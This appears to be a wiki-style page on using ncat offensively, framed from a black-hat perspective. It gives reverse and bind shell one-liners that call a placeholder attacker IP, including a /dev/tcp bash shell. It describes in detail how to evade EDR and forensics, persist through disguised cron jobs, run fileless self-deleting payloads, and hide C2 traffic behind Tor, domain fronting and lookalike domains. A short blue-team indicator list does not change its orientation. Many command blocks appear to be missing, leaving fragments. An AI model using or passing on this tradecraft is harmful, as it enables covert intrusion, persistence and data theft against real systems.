NCAT
FOR EDUCATIONAL PURPOSES ONLY
ncat (part of the Nmap suite) is a surgical-grade networking tool that functions as a modernized, flexible replacement for netcat (nc), and is often referred to as the "Swiss Army knife" of TCP/IP operations.
Ncat is a network utility that allows for reading and writing data across networks using TCP, UDP, SSL/TLS, and even proxy chains. Within Kali Linux, it serves as a core utility for establishing covert communications, reverse shells, data exfiltration, and port redirection, all while remaining stealthy and minimal in footprint.
Reverse Shell
# Attacker (listener)
ncat -lvnp 4444
# Victim
ncat <attacker_ip> 4444 -e /bin/bashBind Shell
ncat -lvnp 4444 -e /bin/bashPerfect for establishing footholds during post-exploitation, especially when bypassing restricted egress environments.
Proxying & Relaying Tunnels
Supports SOCKS4/SOCKS5 and HTTP proxies.
Chain
ncatinstances across multiple bounce points for anonymized or segmented communication.
Simple TCP relay
File Transfer / Exfiltration
Upload/Download arbitrary files across a compromised network
SSL Support can be used to encrypt C2 Traffic and blend in with HTTPS traffic
While not as feature-rich as Nmap, ncat can be used for basic port scanning or manual recon:
Why Black Hat's like it
No Dependencies – It runs on nearly any Unix-like system, even barebones ones.
Low Signature – Can often bypass basic firewalls or EDR systems when obfuscated.
Portability – Works in Linux, Windows, and macOS. A Windows binary can be dropped and executed directly.
Stealthy Communication – Can masquerade as legitimate traffic using SSL and custom ports.
Dual Functionality – Acts both as a client and a server, crucial for C2 infrastructure.
Advanced Offensive Tactics
Pivoting Through Internal Networks:
With
ncat+ SSH or other relays, attackers can bridge isolated subnets.
Persistence & Backdoor Implant:
A cron job can relaunch an
ncatreverse shell on reboot or periodically.
Dropper Stage for Larger Payloads:
Used in initial access to drop a Metasploit stager, Beacon, or custom RAT.
Live Chat with Malware on Compromised Hosts:
Acts as an interactive channel to communicate with implanted malware.
Red Flag Indicators (Blue Team POV)
Unusual listening ports (
ncat -lvnp)Unencrypted remote shell over uncommon ports
Repeated outbound connections to uncommon IPs over
ncatncat binaries in unusual directories or renamed (e.g.,
update.log)
Tip: Combine ncat + Tor + ProxyChains + SSH tunnels + port knocking for fully anonymous reverse shells that evade most detection mechanisms.
Advanced OPSEC-Focused Evasion Techniques
Use domain fronting to leverage cloud CDN services (e.g., Cloudflare, Akamai) where Host headers mismatch the SNI
Defeats DPI and censorship
Randomize Ports & Timing
Avoid default ports (
4444,8080, etc.).Randomize connection intervals with
sleep $((RANDOM % 300)).
Use Encrypted C2
Always use
--sslor wrap instunnel.Obfuscate C2 domains (e.g., lookalike domains like
cdn-netflixsafe.com).Avoid self-signed certs unless pinned.
Binary Evasion & Dropper Obfuscation
Rename ncat Binary
Strip & Obfuscate Binaries
Minimize binary signature size, shrink entropy footprint
Embed in Legitimate Software,
Use LD_PRELOAD or inject into known binaries
Persistencec Without Obvious Indicators
Environment Hijacking (Low Visibility)
Contrab with Convert Naming
Avoid obvious names. Use leading dots or mimic udevd, dbus-daemon, etc.
Fileless Execution via Memory
Use
bash -i >& /dev/tcp/attacker_ip/port 0>&1and never touch disk.Or, pull ncat via curl and run directly in memory
Network & Traffic Camouflage
Fake legit traffic patterns by using ncat to embed communication inside legitimate-looking protocols (e.g., HTTP GETs, DNS lookups).
Pair with ncat --ssl and base64 encode payloads.
Tor ➝ ProxyChains ➝ ncat
Make sure DNS leaks are off and that Tor is isolated from host logs.
Pivot via compromised hosts with reverse tunnels that do not connect directly, hopping through multiple relays
Avoid detection from the host and network by disabling logging temporarily and clearing the bash history
Use script -q /dev/null to create unlogged shell sessions.
Self-descrut scripts to remove evidence post-execution
Avoid Forensic Traces
Don’t use
wgetorcurlunless redirected through memory.Don't write binaries with common signatures.
Don’t use bash if Python is available
Run ncat inside a container or chroot jail
Limits log footprint on host.
Reduces forensic artifacts.
OPSEC Golden Rules
Binary
Rename, strip, UPX, embed
Traffic
Encrypt, randomize, blend with legit
Host
Avoid logs, self-destruct, run in memory
Persistence
Subtle names, fileless execution
C2
Use CDNs, Tor, proxychains, pivoting
TTPs
Rotate techniques, avoid static patterns
Fully Cloaked ncat based C2 setup
Encrypt C2
Obfuscate traffic
Self-destruct
Avoid disk traces
Blend in with system daemons
Kali Setup (Attacker)
Start a listener using SSL over a non-default port with a spoofed cert:
Payload Fully Cloaked (Victum)
OPSEC Enhancements
Use
iptablesorpfto geo-fence inbound connections.Rotate
cert.pemfingerprint periodically.Restrict inbound to Tor egress IPs (if chaining).
Optionally wrap in base64 and decode at runtime.
Python Wrapper — Proxychains + Fileless + Self Delete
This drops a memory-based Python3 wrapper that:
Routes traffic through ProxyChains
Does NOT write the shellcode to disk
Connects to your
ncatC2 endpointDeletes itself once executed
Full Python Wrapper (Client-Side)
Execute with proxychains
You can base64 encode this entire script and deploy it via an eval pipe:
Obfuscation Tips
Rename script to
.dbus-run.shor.nvramcheckHost on a seemingly benign domain:
cdn-update.microsoft-check[.]comUse signed SSL on listener with
Let's Encryptor CloudflareBlend connection bursts with
cron-based triggers
From a black hat perspective, ncat (from the Nmap suite) is one of the most underrated yet dangerous dual-use tools on any Linux box, especially in post-exploitation and pivoting scenarios. Here’s what you should know to wrap up your understanding at an elite operational level
Most EDRs/AVs won’t prioritize or even detect it if:
It’s statically compiled.
The binary is renamed to mimic a legit daemon (
udevd,crond,atd).It's dropped in
/tmp,/dev/shm, or executed from memory.
You can turn a foothold into a SOCKS5 proxy for lateral movement without dropping Metasploit or Cobalt Strike.
Then route tools like proxychains, curl, nmap, or browsers through this.
Use case: Pivot deeper into segmented VLANs from an infected host.
Tor Hidden Service as a Listener
Host your ncat listener inside Tor using a hidden .onion service:
Now your reverse shell beacon is routed through Tor, providing true IP obfuscation, timing randomness, and metadata stripping.
Custom Protocols to Blend in
Use ncat's --lua-exec to simulate benign HTTP/FTP protocols while the underlying session is raw C2.
Example: Wrap the session in HTTP to evade DPI and IDS
http-wrapper.lua can handshake like Apache but act as a reverse shell underneath.
Backconnect via NAT/Firewall
You can force a reverse shell out of a NAT-locked environment without port forwarding
No incoming connections. No need for socat or reverse tunnel chains.
Full File Transfer Unit
Use ncat for file exfil without FTP or SCP.
On attacker:
On Victim:
You can wrap this inside an alias, cronjob, or obfuscated systemd timer.
EDR Evasion via Named Pipe + Memory
Hide ncat execution inside a named pipe:
No visible shell rocess, clean STDOUT redirect steathly
Live Cloning Using a Relay
Compromise a Linux box and turn it into a relay for lateral spread or proxy:
Acts as a reverse SSH passthrough — ideal for jumping over internal firewalls and inspecting or exploiting remote systems via one host.
Why it is a God-Tier Tool for Black Hats
SSL/TLS support
Encrypts C2 comms, evades DPI
-e command exec
Rapid shells without staging
File transfer
Covert data exfil
SOCKS proxy mode
Pivot infrastructure
Lua support
Protocol mimicking for evasion
TCP/UDP versatility
Fits almost any network setup
Lightweight + stealth
No dependencies, easy to obfuscate
Works with ProxyChains
Chained anonymity and exit control
Last updated